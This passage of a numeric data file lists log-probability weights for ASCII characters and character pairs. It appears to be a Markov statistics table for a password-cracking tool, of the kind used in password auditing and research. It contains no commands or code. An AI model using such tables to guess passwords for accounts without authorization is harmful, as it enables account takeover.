-27=proba2[41*256+41] -27=proba2[41*256+54] -27=proba2[41*256+61] -27=proba2[41*256+103] -27=proba2[41*256+107] -27=proba2[41*256+108] -20=proba2[41*256+111] -20=proba2[41*256+112] -27=proba2[41*256+114] -78=proba1[42] -44=proba2[42*256+36] -44=proba2[42*256+38] -51=proba2[42*256+40] -51=proba2[42*256+41] -15=proba2[42*256+42] -51=proba2[42*256+44] -44=proba2[42*256+45] -44=proba2[42*256+46] -44=proba2[42*256+48] -33=proba2[42*256+49] -40=proba2[42*256+50] -34=proba2[42*256+51] -40=proba2[42*256+52] -37=proba2[42*256+54] -37=proba2[42*256+55] -51=proba2[42*256+56] -34=proba2[42*256+57] -51=proba2[42*256+59] -51=proba2[42*256+61] -51=proba2[42*256+63] -51=proba2[42*256+64] -51=proba2[42*256+65] -44=proba2[42*256+66] -51=proba2[42*256+67] -44=proba2[42*256+68] -51=proba2[42*256+69] -51=proba2[42*256+73] -51=proba2[42*256+77] -51=proba2[42*256+78] -51=proba2[42*256+80] -51=proba2[42*256+82] -51=proba2[42*256+95] -28=proba2[42*256+97] -40=proba2[42*256+98] -31=proba2[42*256+99] -40=proba2[42*256+100] -51=proba2[42*256+101] -51=proba2[42*256+102] -37=proba2[42*256+103] -37=proba2[42*256+105] -44=proba2[42*256+106] -37=proba2[42*256+108] -33=proba2[42*256+109] -44=proba2[42*256+110] -51=proba2[42*256+111] -37=proba2[42*256+112] -44=proba2[42*256+113] -51=proba2[42*256+114] -33=proba2[42*256+115] -51=proba2[42*256+116] -51=proba2[42*256+117] -37=proba2[42*256+118] -51=proba2[42*256+119] -51=proba2[42*256+120] -51=proba2[42*256+122] -96=proba1[43] -38=proba2[43*256+38] -19=proba2[43*256+43] -31=proba2[43*256+45] -29=proba2[43*256+49] -38=proba2[43*256+50] -45=proba2[43*256+51] -45=proba2[43*256+52] -31=proba2[43*256+53] -29=proba2[43*256+54] -34=proba2[43*256+55] -38=proba2[43*256+61] -45=proba2[43*256+66] -38=proba2[43*256+67] -45=proba2[43*256+72] -38=proba2[43*256+74] -38=proba2[43*256+75] -45=proba2[43*256+76] -45=proba2[43*256+80] -45=proba2[43*256+85] -45=proba2[43*256+89] -38=proba2[43*256+97] -29=proba2[43*256+98] -38=proba2[43*256+99] -45=proba2[43*256+101] -38=proba2[43*256+102] -45=proba2[43*256+103] -45=proba2[43*256+104] -45=proba2[43*256+105] -45=proba2[43*256+106] -45=proba2[43*256+107] -29=proba2[43*256+108] -38=proba2[43*256+109] -45=proba2[43*256+110] -38=proba2[43*256+111] -45=proba2[43*256+112] -38=proba2[43*256+113] -45=proba2[43*256+115] -31=proba2[43*256+116] -38=proba2[43*256+119] -38=proba2[43*256+120] -96=proba1[44] -24=proba2[44*256+44] -28=proba2[44*256+46] -44=proba2[44*256+48] -28=proba2[44*256+49] -33=proba2[44*256+50] -37=proba2[44*256+51] -33=proba2[44*256+55] -33=proba2[44*256+56] -37=proba2[44*256+57] -28=proba2[44*256+59] -37=proba2[44*256+65] -44=proba2[44*256+66] -44=proba2[44*256+73] -44=proba2[44*256+83] -44=proba2[44*256+84] -44=proba2[44*256+86] -37=proba2[44*256+97] -44=proba2[44*256+98] -37=proba2[44*256+99] -33=proba2[44*256+100] -37=proba2[44*256+102] -44=proba2[44*256+103] -44=proba2[44*256+105] -37=proba2[44*256+106] -44=proba2[44*256+107] -23=proba2[44*256+109] -37=proba2[44*256+110] -30=proba2[44*256+112] -37=proba2[44*256+115] -26=proba2[44*256+116] -37=proba2[44*256+118] -44=proba2[44*256+121] -44=proba2[44*256+122] -91=proba1[45] -57=proba2[45*256+34] -57=proba2[45*256+36] -43=proba2[45*256+38] -57=proba2[45*256+39] -57=proba2[45*256+40] -43=proba2[45*256+43] -27=proba2[45*256+45] -33=proba2[45*256+48] -23=proba2[45*256+49] -32=proba2[45*256+50] -43=proba2[45*256+51] -43=proba2[45*256+52] -46=proba2[45*256+53] -33=proba2[45*256+54] -36=proba2[45*256+55] -36=proba2[45*256+56] -30=proba2[45*256+57] -57=proba2[45*256+63] -57=proba2[45*256+65] -50=proba2[45*256+66] -50=proba2[45*256+67] -50=proba2[45*256+68] -57=proba2[45*256+69] -50=proba2[45*256+70] -50=proba2[45*256+71] -57=proba2[45*256+73] -57=proba2[45*256+74] -57=proba2[45*256+75] -50=proba2[45*256+76] -57=proba2[45*256+77] -57=proba2[45*256+78] -57=proba2[45*256+80] -50=proba2[45*256+84] -57=proba2[45*256+87] -46=proba2[45*256+88] -57=proba2[45*256+97] -39=proba2[45*256+98] -33=proba2[45*256+99] -41=proba2[45*256+100] -50=proba2[45*256+101] -35=proba2[45*256+102] -36=proba2[45*256+103] -41=proba2[45*256+104] -39=proba2[45*256+105] -36=proba2[45*256+106] -50=proba2[45*256+107] -30=proba2[45*256+108] -35=proba2[45*256+109] -37=proba2[45*256+110] -43=proba2[45*256+111] -39=proba2[45*256+112] -35=proba2[45*256+114] -36=proba2[45*256+115] -32=proba2[45*256+116] -57=proba2[45*256+117] -46=proba2[45*256+118] -41=proba2[45*256+119] -50=proba2[45*256+120] -57=proba2[45*256+121] -57=proba2[45*256+122] -93=proba1[46] -54=proba2[46*256+32] -54=proba2[46*256+35] -54=proba2[46*256+43] -41=proba2[46*256+44] -23=proba2[46*256+46] -24=proba2[46*256+48] -27=proba2[46*256+49] -32=proba2[46*256+50] -34=proba2[46*256+51] -41=proba2[46*256+52] -35=proba2[46*256+53] -41=proba2[46*256+54] -36=proba2[46*256+55] -29=proba2[46*256+56] -38=proba2[46*256+57] -43=proba2[46*256+65] -47=proba2[46*256+70] -54=proba2[46*256+71] -47=proba2[46*256+73] -54=proba2[46*256+74] -47=proba2[46*256+78] -54=proba2[46*256+79] -54=proba2[46*256+83] -41=proba2[46*256+84] -54=proba2[46*256+85] -54=proba2[46*256+87] -38=proba2[46*256+97] -35=proba2[46*256+98] -36=proba2[46*256+99] -35=proba2[46*256+100] -41=proba2[46*256+101] -38=proba2[46*256+102] -43=proba2[46*256+103] -41=proba2[46*256+104] -54=proba2[46*256+105] -38=proba2[46*256+106] -54=proba2[46*256+107] -34=proba2[46*256+108] -38=proba2[46*256+109] -34=proba2[46*256+110] -47=proba2[46*256+111] -47=proba2[46*256+112] -54=proba2[46*256+113] -54=proba2[46*256+114] -30=proba2[46*256+115] -38=proba2[46*256+117] -47=proba2[46*256+118] -43=proba2[46*256+119] -47=proba2[46*256+120] -54=proba2[46*256+121] -47=proba2[46*256+122] -46=proba1[48] -94=proba2[48*256+32] -83=proba2[48*256+33] -94=proba2[48*256+35] -78=proba2[48*256+36] -87=proba2[48*256+37] -87=proba2[48*256+41] -94=proba2[48*256+42] -83=proba2[48*256+43] -76=proba2[48*256+45] -73=proba2[48*256+46] -14=proba2[48*256+48] -20=proba2[48*256+49] -26=proba2[48*256+50] -27=proba2[48*256+51] -27=proba2[48*256+52] -27=proba2[48*256+53] -27=proba2[48*256+54] -22=proba2[48*256+55] -27=proba2[48*256+56] -29=proba2[48*256+57] -87=proba2[48*256+59] -94=proba2[48*256+60] -94=proba2[48*256+64] -75=proba2[48*256+65] -78=proba2[48*256+66] -87=proba2[48*256+67] -94=proba2[48*256+69] -83=proba2[48*256+70] -87=proba2[48*256+71] -87=proba2[48*256+72] -87=proba2[48*256+73] -94=proba2[48*256+74] -80=proba2[48*256+75] -80=proba2[48*256+76] -72=proba2[48*256+77] -83=proba2[48*256+78] -94=proba2[48*256+79] -94=proba2[48*256+80] -83=proba2[48*256+82] -76=proba2[48*256+83] -87=proba2[48*256+84] -83=proba2[48*256+86] -94=proba2[48*256+88] -80=proba2[48*256+90] -94=proba2[48*256+95] -53=proba2[48*256+97] -56=proba2[48*256+98] -52=proba2[48*256+99] -56=proba2[48*256+100] -60=proba2[48*256+101] -59=proba2[48*256+102] -63=proba2[48*256+103] -67=proba2[48*256+104] -69=proba2[48*256+105] -63=proba2[48*256+106] -63=proba2[48*256+107] -54=proba2[48*256+108] -51=proba2[48*256+109] -55=proba2[48*256+110] -62=proba2[48*256+111] -58=proba2[48*256+112] -78=proba2[48*256+113] -56=proba2[48*256+114] -54=proba2[48*256+115] -56=proba2[48*256+116] -60=proba2[48*256+117] -64=proba2[48*256+118] -65=proba2[48*256+119] -65=proba2[48*256+120] -72=proba2[48*256+121] -66=proba2[48*256+122] -38=proba1[49] -75=proba2[49*256+33] -95=proba2[49*256+35] -88=proba2[49*256+36] -84=proba2[49*256+38] -95=proba2[49*256+41] -75=proba2[49*256+42] -82=proba2[49*256+43] -79=proba2[49*256+44] -73=proba2[49*256+45] -69=proba2[49*256+46] -21=proba2[49*256+48] -21=proba2[49*256+49] -17=proba2[49*256+50] -26=proba2[49*256+51] -28=proba2[49*256+52] -28=proba2[49*256+53] -30=proba2[49*256+54] -27=proba2[49*256+55] -29=proba2[49*256+56] -20=proba2[49*256+57] -88=proba2[49*256+59] -84=proba2[49*256+61] -84=proba2[49*256+64] -67=proba2[49*256+65] -76=proba2[49*256+66] -76=proba2[49*256+67] -76=proba2[49*256+68] -82=proba2[49*256+69] -84=proba2[49*256+70] -79=proba2[49*256+71] -88=proba2[49*256+72] -84=proba2[49*256+73] -88=proba2[49*256+74] -82=proba2[49*256+75] -75=proba2[49*256+76] -72=proba2[49*256+77] -76=proba2[49*256+78] -79=proba2[49*256+79] -82=proba2[49*256+80] -82=proba2[49*256+82] -79=proba2[49*256+83] -75=proba2[49*256+84] -95=proba2[49*256+85] -88=proba2[49*256+86] -88=proba2[49*256+87] -95=proba2[49*256+88] -95=proba2[49*256+89] -84=proba2[49*256+90] -46=proba2[49*256+97] -50=proba2[49*256+98] -52=proba2[49*256+99] -54=proba2[49*256+100] -54=proba2[49*256+101] -58=proba2[49*256+102] -56=proba2[49*256+103] -64=proba2[49*256+104] -59=proba2[49*256+105] -56=proba2[49*256+106] -63=proba2[49*256+107] -55=proba2[49*256+108] -51=proba2[49*256+109] -53=proba2[49*256+110] -59=proba2[49*256+111] -56=proba2[49*256+112] -63=proba2[49*256+113] -56=proba2[49*256+114] -51=proba2[49*256+115] -54=proba2[49*256+116] -67=proba2[49*256+117] -60=proba2[49*256+118] -63=proba2[49*256+119] -65=proba2[49*256+120] -70=proba2[49*256+121] -69=proba2[49*256+122] -42=proba1[50] -82=proba2[50*256+32] -69=proba2[50*256+33] -82=proba2[50*256+35] -86=proba2[50*256+36] -86=proba2[50*256+37] -86=proba2[50*256+39] -71=proba2[50*256+42] -82=proba2[50*256+43] -93=proba2[50*256+44] -71=proba2[50*256+45] -65=proba2[50*256+46] -20=proba2[50*256+48] -22=proba2[50*256+49] -23=proba2[50*256+50] -18=proba2[50*256+51] -26=proba2[50*256+52] -25=proba2[50*256+53] -28=proba2[50*256+54] -26=proba2[50*256+55] -28=proba2[50*256+56] -30=proba2[50*256+57] -86=proba2[50*256+59] -86=proba2[50*256+61] -86=proba2[50*256+63] -82=proba2[50*256+64] -69=proba2[50*256+65] -69=proba2[50*256+66] -65=proba2[50*256+67] -77=proba2[50*256+68] -86=proba2[50*256+69] -79=proba2[50*256+70] -73=proba2[50*256+71] -75=proba2[50*256+72] -86=proba2[50*256+73] -82=proba2[50*256+74] -79=proba2[50*256+75] -82=proba2[50*256+76] -72=proba2[50*256+77] -71=proba2[50*256+78] -93=proba2[50*256+79] -75=proba2[50*256+80] -86=proba2[50*256+81] -75=proba2[50*256+82] -79=proba2[50*256+83] -71=proba2[50*256+84] -86=proba2[50*256+85] -79=proba2[50*256+86] -93=proba2[50*256+87] -86=proba2[50*256+88] -75=proba2[50*256+89] -73=proba2[50*256+90] -93=proba2[50*256+91] -93=proba2[50*256+95] -46=proba2[50*256+97] -45=proba2[50*256+98] -46=proba2[50*256+99] -49=proba2[50*256+100] -53=proba2[50*256+101] -50=proba2[50*256+102] -56=proba2[50*256+103] -57=proba2[50*256+104] -56=proba2[50*256+105] -56=proba2[50*256+106] -59=proba2[50*256+107] -51=proba2[50*256+108] -46=proba2[50*256+109] -56=proba2[50*256+110] -59=proba2[50*256+111] -50=proba2[50*256+112] -61=proba2[50*256+113] -48=proba2[50*256+114] -49=proba2[50*256+115] -53=proba2[50*256+116] -60=proba2[50*256+117] -57=proba2[50*256+118] -55=proba2[50*256+119] -63=proba2[50*256+120] -59=proba2[50*256+121] -58=proba2[50*256+122] -52=proba1[51] -69=proba2[51*256+33] -88=proba2[51*256+34] -77=proba2[51*256+35] -88=proba2[51*256+36] -88=proba2[51*256+37] -82=proba2[51*256+38] -71=proba2[51*256+42] -82=proba2[51*256+43] -88=proba2[51*256+44] -68=proba2[51*256+45] -60=proba2[51*256+46] -21=proba2[51*256+48] -22=proba2[51*256+49] -24=proba2[51*256+50] -23=proba2[51*256+51] -20=proba2[51*256+52] -26=proba2[51*256+53] -28=proba2[51*256+54] -28=proba2[51*256+55] -29=proba2[51*256+56] -32=proba2[51*256+57] -88=proba2[51*256+59] -88=proba2[51*256+61] -88=proba2[51*256+62] -77=proba2[51*256+63] -82=proba2[51*256+64] -61=proba2[51*256+65] -64=proba2[51*256+66] -68=proba2[51*256+67] -68=proba2[51*256+68] -72=proba2[51*256+69] -71=proba2[51*256+70] -64=proba2[51*256+71] -88=proba2[51*256+72] -82=proba2[51*256+73] -77=proba2[51*256+74] -69=proba2[51*256+75] -71=proba2[51*256+76] -68=proba2[51*256+77] -77=proba2[51*256+78] -88=proba2[51*256+79] -72=proba2[51*256+80] -88=proba2[51*256+81] -66=proba2[51*256+82] -77=proba2[51*256+83] -71=proba2[51*256+84] -88=proba2[51*256+85] -75=proba2[51*256+86] -88=proba2[51*256+87] -77=proba2[51*256+88] -69=proba2[51*256+90] -77=proba2[51*256+95] -43=proba2[51*256+97] -48=proba2[51*256+98] -45=proba2[51*256+99] -42=proba2[51*256+100] -48=proba2[51*256+101] -52=proba2[51*256+102] -50=proba2[51*256+103] -54=proba2[51*256+104] -55=proba2[51*256+105] -51=proba2[51*256+106] -57=proba2[51*256+107] -51=proba2[51*256+108] -44=proba2[51*256+109] -53=proba2[51*256+110] -54=proba2[51*256+111] -48=proba2[51*256+112] -61=proba2[51*256+113] -47=proba2[51*256+114] -49=proba2[51*256+115] -52=proba2[51*256+116] -60=proba2[51*256+117] -53=proba2[51*256+118] -58=proba2[51*256+119] -61=proba2[51*256+120] -61=proba2[51*256+121] -54=proba2[51*256+122] -56=proba1[52] -80=proba2[52*256+32] -87=proba2[52*256+33] -87=proba2[52*256+35] -80=proba2[52*256+36] -73=proba2[52*256+37] -87=proba2[52*256+39] -87=proba2[52*256+40] -87=proba2[52*256+42] -68=proba2[52*256+43] -87=proba2[52*256+44] -76=proba2[52*256+45] -69=proba2[52*256+46] -22=proba2[52*256+48] -23=proba2[52*256+49] -25=proba2[52*256+50] -29=proba2[52*256+51] -24=proba2[52*256+52] -19=proba2[52*256+53] -27=proba2[52*256+54] -25=proba2[52*256+55] -28=proba2[52*256+56] -30=proba2[52*256+57] -80=proba2[52*256+59] -87=proba2[52*256+61] -87=proba2[52*256+64] -69=proba2[52*256+65] -80=proba2[52*256+66] -69=proba2[52*256+67] -80=proba2[52*256+68] -80=proba2[52*256+69] -73=proba2[52*256+70] -71=proba2[52*256+71] -80=proba2[52*256+72] -87=proba2[52*256+73] -73=proba2[52*256+74] -80=proba2[52*256+75] -76=proba2[52*256+76] -73=proba2[52*256+77] -76=proba2[52*256+78] -87=proba2[52*256+79] -66=proba2[52*256+80] -87=proba2[52*256+81] -68=proba2[52*256+82] -87=proba2[52*256+83] -73=proba2[52*256+84] -76=proba2[52*256+85] -80=proba2[52*256+86] -76=proba2[52*256+87] -87=proba2[52*256+88] -76=proba2[52*256+89] -76=proba2[52*256+90] -80=proba2[52*256+95] -42=proba2[52*256+97] -47=proba2[52*256+98] -50=proba2[52*256+99] -48=proba2[52*256+100] -46=proba2[52*256+101] -48=proba2[52*256+102] -50=proba2[52*256+103] -53=proba2[52*256+104] -54=proba2[52*256+105] -52=proba2[52*256+106] -57=proba2[52*256+107] -49=proba2[52*256+108] -43=proba2[52*256+109] -52=proba2[52*256+110] -62=proba2[52*256+111] -49=proba2[52*256+112] -60=proba2[52*256+113] -51=proba2[52*256+114] -47=proba2[52*256+115] -48=proba2[52*256+116] -51=proba2[52*256+117] -57=proba2[52*256+118] -57=proba2[52*256+119] -58=proba2[52*256+120] -54=proba2[52*256+121] -57=proba2[52*256+122] -57=proba1[53] -80=proba2[53*256+32] -80=proba2[53*256+33] -76=proba2[53*256+35] -76=proba2[53*256+36] -80=proba2[53*256+37] -87=proba2[53*256+38] -87=proba2[53*256+39] -69=proba2[53*256+43] -87=proba2[53*256+44] -71=proba2[53*256+45] -71=proba2[53*256+46] -21=proba2[53*256+48] -23=proba2[53*256+49] -26=proba2[53*256+50] -28=proba2[53*256+51] -26=proba2[53*256+52] -24=proba2[53*256+53] -19=proba2[53*256+54] -24=proba2[53*256+55] -27=proba2[53*256+56] -26=proba2[53*256+57] -87=proba2[53*256+59] -87=proba2[53*256+61] -80=proba2[53*256+63] -68=proba2[53*256+65] -68=proba2[53*256+66] -64=proba2[53*256+67] -87=proba2[53*256+68] -87=proba2[53*256+69] -67=proba2[53*256+70] -68=proba2[53*256+71] -80=proba2[53*256+72] -80=proba2[53*256+73] -73=proba2[53*256+74] -87=proba2[53*256+75] -73=proba2[53*256+76] -73=proba2[53*256+77] -80=proba2[53*256+78] -80=proba2[53*256+79] -68=proba2[53*256+80] -87=proba2[53*256+81] -73=proba2[53*256+82] -71=proba2[53*256+83] -71=proba2[53*256+84] -76=proba2[53*256+85] -87=proba2[53*256+86] -76=proba2[53*256+87] -87=proba2[53*256+88] -80=proba2[53*256+89] -87=proba2[53*256+90] -45=proba2[53*256+97] -48=proba2[53*256+98] -49=proba2[53*256+99] -52=proba2[53*256+100] -50=proba2[53*256+101] -50=proba2[53*256+102] -50=proba2[53*256+103] -58=proba2[53*256+104] -56=proba2[53*256+105] -56=proba2[53*256+106] -55=proba2[53*256+107] -52=proba2[53*256+108] -46=proba2[53*256+109] -54=proba2[53*256+110] -58=proba2[53*256+111] -49=proba2[53*256+112] -57=proba2[53*256+113] -51=proba2[53*256+114] -49=proba2[53*256+115] -51=proba2[53*256+116] -62=proba2[53*256+117] -58=proba2[53*256+118] -60=proba2[53*256+119] -62=proba2[53*256+120] -54=proba2[53*256+121] -57=proba2[53*256+122] -56=proba1[54] -75=proba2[54*256+32] -70=proba2[54*256+33] -81=proba2[54*256+36] -81=proba2[54*256+42] -81=proba2[54*256+43] -68=proba2[54*256+45] -70=proba2[54*256+46] -23=proba2[54*256+48] -26=proba2[54*256+49] -30=proba2[54*256+50] -29=proba2[54*256+51] -26=proba2[54*256+52] -27=proba2[54*256+53] -15=proba2[54*256+54] -24=proba2[54*256+55] -26=proba2[54*256+56] -22=proba2[54*256+57] -88=proba2[54*256+59] -81=proba2[54*256+61] -88=proba2[54*256+63] -88=proba2[54*256+64] -68=proba2[54*256+65] -61=proba2[54*256+66] -81=proba2[54*256+67] -77=proba2[54*256+68] -77=proba2[54*256+69] -75=proba2[54*256+70] -77=proba2[54*256+71] -77=proba2[54*256+72] -66=proba2[54*256+73] -88=proba2[54*256+74] -68=proba2[54*256+75] -88=proba2[54*256+76] -77=proba2[54*256+77] -88=proba2[54*256+78] -88=proba2[54*256+79] -75=proba2[54*256+80] -81=proba2[54*256+81] -75=proba2[54*256+82] -77=proba2[54*256+83] -88=proba2[54*256+84] -88=proba2[54*256+85] -77=proba2[54*256+86] -75=proba2[54*256+87] -88=proba2[54*256+88] -88=proba2[54*256+89] -88=proba2[54*256+90] -88=proba2[54*256+93] -88=proba2[54*256+94] -47=proba2[54*256+97] -49=proba2[54*256+98] -52=proba2[54*256+99] -51=proba2[54*256+100] -53=proba2[54*256+101] -53=proba2[54*256+102] -55=proba2[54*256+103] -58=proba2[54*256+104] -55=proba2[54*256+105] -54=proba2[54*256+106] -54=proba2[54*256+107] -53=proba2[54*256+108] -48=proba2[54*256+109] -53=proba2[54*256+110] -59=proba2[54*256+111] -50=proba2[54*256+112] -64=proba2[54*256+113] -53=proba2[54*256+114] -47=proba2[54*256+115] -54=proba2[54*256+116] -64=proba2[54*256+117] -57=proba2[54*256+118] -65=proba2[54*256+119] -61=proba2[54*256+120] -58=proba2[54*256+121] -61=proba2[54*256+122] -55=proba1[55] -82=proba2[55*256+32] -71=proba2[55*256+33] -78=proba2[55*256+35] -78=proba2[55*256+36] -82=proba2[55*256+38] -71=proba2[55*256+42] -82=proba2[55*256+43] -82=proba2[55*256+44] -67=proba2[55*256+45] -67=proba2[55*256+46] -23=proba2[55*256+48] -24=proba2[55*256+49] -26=proba2[55*256+50] -26=proba2[55*256+51] -24=proba2[55*256+52] -23=proba2[55*256+53] -25=proba2[55*256+54] -20=proba2[55*256+55] -23=proba2[55*256+56] -26=proba2[55*256+57] -78=proba2[55*256+59] -82=proba2[55*256+64] -71=proba2[55*256+65] -71=proba2[55*256+66] -73=proba2[55*256+67] -71=proba2[55*256+68] -75=proba2[55*256+69] -75=proba2[55*256+70] -89=proba2[55*256+71] -78=proba2[55*256+72] -75=proba2[55*256+73] -78=proba2[55*256+74] -78=proba2[55*256+75] -71=proba2[55*256+76] -71=proba2[55*256+77] -75=proba2[55*256+78] -82=proba2[55*256+79] -78=proba2[55*256+80] -89=proba2[55*256+81] -78=proba2[55*256+82] -78=proba2[55*256+83] -78=proba2[55*256+84] -89=proba2[55*256+85] -75=proba2[55*256+86] -75=proba2[55*256+87] -78=proba2[55*256+88] -82=proba2[55*256+89] -82=proba2[55*256+90] -48=proba2[55*256+97] -50=proba2[55*256+98] -51=proba2[55*256+99] -53=proba2[55*256+100] -54=proba2[55*256+101] -56=proba2[55*256+102] -52=proba2[55*256+103] -60=proba2[55*256+104] -55=proba2[55*256+105] -53=proba2[55*256+106] -56=proba2[55*256+107] -50=proba2[55*256+108] -49=proba2[55*256+109] -55=proba2[55*256+110] -61=proba2[55*256+111] -53=proba2[55*256+112] -67=proba2[55*256+113] -58=proba2[55*256+114] -52=proba2[55*256+115] -53=proba2[55*256+116] -56=proba2[55*256+117] -54=proba2[55*256+118] -63=proba2[55*256+119] -62=proba2[55*256+120] -61=proba2[55*256+121] -58=proba2[55*256+122] -89=proba2[55*256+124] -60=proba1[56] -86=proba2[56*256+32] -75=proba2[56*256+33] -75=proba2[56*256+36] -86=proba2[56*256+38] -86=proba2[56*256+41] -66=proba2[56*256+42] -86=proba2[56*256+44] -68=proba2[56*256+45] -66=proba2[56*256+46] -19=proba2[56*256+48] -21=proba2[56*256+49] -24=proba2[56*256+50] -25=proba2[56*256+51] -27=proba2[56*256+52] -27=proba2[56*256+53] -27=proba2[56*256+54] -25=proba2[56*256+55] -25=proba2[56*256+56] -27=proba2[56*256+57] -86=proba2[56*256+59] -86=proba2[56*256+61] -72=proba2[56*256+63] -79=proba2[56*256+65] -68=proba2[56*256+66] -75=proba2[56*256+67] -79=proba2[56*256+68] -79=proba2[56*256+69] -68=proba2[56*256+70] -75=proba2[56*256+71] -79=proba2[56*256+72] -70=proba2[56*256+74] -75=proba2[56*256+75] -70=proba2[56*256+76] -66=proba2[56*256+77] -79=proba2[56*256+78] -75=proba2[56*256+79] -72=proba2[56*256+80] -79=proba2[56*256+81] -79=proba2[56*256+82] -68=proba2[56*256+83] -72=proba2[56*256+84] -86=proba2[56*256+85] -86=proba2[56*256+86] -86=proba2[56*256+87] -79=proba2[56*256+88] -79=proba2[56*256+89] -72=proba2[56*256+90] -79=proba2[56*256+94] -46=proba2[56*256+97] -46=proba2[56*256+98] -47=proba2[56*256+99] -52=proba2[56*256+100] -49=proba2[56*256+101] -54=proba2[56*256+102] -49=proba2[56*256+103] -50=proba2[56*256+104] -55=proba2[56*256+105] -49=proba2[56*256+106] -51=proba2[56*256+107] -53=proba2[56*256+108] -46=proba2[56*256+109] -56=proba2[56*256+110] -60=proba2[56*256+111] -50=proba2[56*256+112] -60=proba2[56*256+113] -53=proba2[56*256+114] -45=proba2[56*256+115] -50=proba2[56*256+116] -58=proba2[56*256+117] -58=proba2[56*256+118] -59=proba2[56*256+119] -64=proba2[56*256+120] -57=proba2[56*256+121] -55=proba2[56*256+122] -59=proba1[57] -82=proba2[57*256+32] -73=proba2[57*256+33] -89=proba2[57*256+36] -89=proba2[57*256+38] -78=proba2[57*256+42] -78=proba2[57*256+43] -71=proba2[57*256+45] -68=proba2[57*256+46] -26=proba2[57*256+48] -27=proba2[57*256+49] -30=proba2[57*256+50] -30=proba2[57*256+51] -29=proba2[57*256+52] -27=proba2[57*256+53] -24=proba2[57*256+54] -20=proba2[57*256+55] -15=proba2[57*256+56] -21=proba2[57*256+57] -89=proba2[57*256+61] -89=proba2[57*256+62] -67=proba2[57*256+65] -78=proba2[57*256+66] -75=proba2[57*256+68] -75=proba2[57*256+69] -82=proba2[57*256+71] -82=proba2[57*256+72] -78=proba2[57*256+73] -78=proba2[57*256+74] -71=proba2[57*256+75] -75=proba2[57*256+76] -71=proba2[57*256+77] -78=proba2[57*256+78] -82=proba2[57*256+79] -75=proba2[57*256+80] -70=proba2[57*256+82] -71=proba2[57*256+83] -75=proba2[57*256+84] -89=proba2[57*256+85] -82=proba2[57*256+86] -89=proba2[57*256+87] -75=proba2[57*256+89] -78=proba2[57*256+90] -49=proba2[57*256+97] -54=proba2[57*256+98] -49=proba2[57*256+99] -57=proba2[57*256+100] -58=proba2[57*256+101] -55=proba2[57*256+102] -55=proba2[57*256+103] -57=proba2[57*256+104] -57=proba2[57*256+105] -57=proba2[57*256+106] -61=proba2[57*256+107] -53=proba2[57*256+108] -51=proba2[57*256+109] -57=proba2[57*256+110] -63=proba2[57*256+111] -55=proba2[57*256+112] -66=proba2[57*256+113] -55=proba2[57*256+114] -51=proba2[57*256+115] -55=proba2[57*256+116] -63=proba2[57*256+117] -59=proba2[57*256+118] -61=proba2[57*256+119] -60=proba2[57*256+120] -64=proba2[57*256+121] -65=proba2[57*256+122] -97=proba1[59] -40=proba2[59*256+39] -40=proba2[59*256+42] -33=proba2[59*256+48] -40=proba2[59*256+50] -40=proba2[59*256+51] -33=proba2[59*256+52] -40=proba2[59*256+55] -33=proba2[59*256+57] -18=proba2[59*256+59] -40=proba2[59*256+61] -40=proba2[59*256+76] -33=proba2[59*256+77] -40=proba2[59*256+78] -40=proba2[59*256+80] -40=proba2[59*256+84] -40=proba2[59*256+97] -33=proba2[59*256+98] -33=proba2[59*256+100] -29=proba2[59*256+101] -33=proba2[59*256+102] -33=proba2[59*256+103] -40=proba2[59*256+104] -40=proba2[59*256+105] -33=proba2[59*256+108] -33=proba2[59*256+109] -26=proba2[59*256+110] -40=proba2[59*256+111] -40=proba2[59*256+112] -40=proba2[59*256+113] -33=proba2[59*256+114] -29=proba2[59*256+115] -111=proba1[60] -19=proba2[60*256+35] -19=proba2[60*256+49] -12=proba2[60*256+50] -19=proba2[60*256+51] -12=proba2[60*256+62] -95=proba1[61] -43=proba2[61*256+37] -43=proba2[61*256+40] -43=proba2[61*256+41] -32=proba2[61*256+42] -43=proba2[61*256+44] -43=proba2[61*256+45] -37=proba2[61*256+49] -24=proba2[61*256+50] -32=proba2[61*256+51] -37=proba2[61*256+53] -37=proba2[61*256+55] -43=proba2[61*256+56] -43=proba2[61*256+57] -43=proba2[61*256+59] -15=proba2[61*256+61] -43=proba2[61*256+63] -43=proba2[61*256+71] -43=proba2[61*256+83] -43=proba2[61*256+90] -43=proba2[61*256+94] -37=proba2[61*256+97] -37=proba2[61*256+98] -43=proba2[61*256+100] -43=proba2[61*256+102] -37=proba2[61*256+103] -43=proba2[61*256+107] -37=proba2[61*256+108] -20=proba2[61*256+109] -43=proba2[61*256+110] -43=proba2[61*256+111] -43=proba2[61*256+112] -43=proba2[61*256+113] -43=proba2[61*256+115] -32=proba2[61*256+116] -43=proba2[61*256+117] -43=proba2[61*256+119] -13=proba2[62*256+65] -13=proba2[62*256+98] -13=proba2[62*256+108] -13=proba2[62*256+115] -97=proba1[63] -25=proba2[63*256+33] -36=proba2[63*256+43] -29=proba2[63*256+46] -36=proba2[63*256+50] -36=proba2[63*256+54] -22=proba2[63*256+63] -36=proba2[63*256+65] -36=proba2[63*256+69] -36=proba2[63*256+73] -36=proba2[63*256+78] -36=proba2[63*256+89] -36=proba2[63*256+91] -36=proba2[63*256+98] -29=proba2[63*256+99] -36=proba2[63*256+101] -36=proba2[63*256+109] -29=proba2[63*256+110] -36=proba2[63*256+111] -36=proba2[63*256+113] -29=proba2[63*256+114] -29=proba2[63*256+115] -36=proba2[63*256+116] -36=proba2[63*256+119] -22=proba2[63*256+122] -82=proba1[64] -48=proba2[64*256+33] -37=proba2[64*256+35] -48=proba2[64*256+36] -48=proba2[64*256+46] -37=proba2[64*256+48] -32=proba2[64*256+49] -41=proba2[64*256+50] -37=proba2[64*256+51] -37=proba2[64*256+52] -48=proba2[64*256+53] -41=proba2[64*256+54] -41=proba2[64*256+55] -41=proba2[64*256+57] -48=proba2[64*256+63] -23=proba2[64*256+64] -48=proba2[64*256+66] -48=proba2[64*256+82] -41=proba2[64*256+91] -48=proba2[64*256+98] -34=proba2[64*256+99] -32=proba2[64*256+100] -48=proba2[64*256+101] -37=proba2[64*256+102] -34=proba2[64*256+103] -48=proba2[64*256+104] -41=proba2[64*256+106] -48=proba2[64*256+107] -25=proba2[64*256+108] -18=proba2[64*256+109] -34=proba2[64*256+110] -27=proba2[64*256+114] -32=proba2[64*256+115] -27=proba2[64*256+116] -37=proba2[64*256+118] -41=proba2[64*256+119] -48=proba2[64*256+120] -48=proba2[64*256+122] -59=proba1[65] -72=proba2[65*256+33] -65=proba2[65*256+43] -65=proba2[65*256+44] -65=proba2[65*256+45] -72=proba2[65*256+46] -54=proba2[65*256+48] 